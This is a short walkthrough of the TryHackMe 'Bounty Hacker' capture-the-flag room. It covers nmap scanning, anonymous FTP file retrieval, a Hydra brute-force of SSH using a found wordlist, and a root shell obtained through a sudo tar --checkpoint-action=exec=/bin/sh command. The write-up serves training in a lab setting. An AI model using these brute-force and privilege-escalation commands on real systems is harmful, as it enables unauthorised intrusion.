[TryHackMe] Bounty Hacker

A walkthrough for the Bounty Hacker room, available on the TryHackMe platform.

[TryHackMe] Bounty Hacker

Difficulty level: Easy
Aim: Hack this machine and obtain the user and root flags.

Link: https://www.tryhackme.com/room/cowboyhacker

Information Gathering

The target IP address is provided when the machine is deployed.



nmap can be used to discover open ports and services on the target:

nmap -A -vv

From this we can see the following ports and services:

  • port 21/tcp - FTP - (vsftpd 3.0.3)
  • port 22/tcp - SSH - (OpenSSH 7.2p2)
  • port 80/tcp - HTTP - (Apache httpd 2.4.18)


Anonymous login is allowed for the FTP service, so that seems a good place to start:


After logging in we can see two text files available for download:

get locks.txt
get task.txt

Once downloaded, the contents of these can be viewed from our local terminal:

cat task.txt
cat locks.txt

task.txt give us a potential username:

locks.txt appears to be a wordlist of potential passwords:

Gaining Access

The information above can be used with Hydra to brute-force the SSH service:

hydra -l username -P locks.txt ssh://

Success! We can now log in via SSH:

ssh [email protected]

The user flag can be found within the current directory once logged in.

Privilege Escalation

Taking a look at the sudo permissions shows that we have access to run /bin/tar as the root user:

sudo -l

We can take advantage of this to elevate our privileges and spawn a shell as the root user by running the following command:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

The '--checkpoint=1' and '--checkpoint-action=exec=/bin/sh' options are passed as command-line options to the tar program, which effectively tells tar to spawn a shell once executed:

The root.txt flag can then be obtained from the /root directory.

cd /root
cat root.txt

Please feel free to contact me via Twitter and thanks for reading.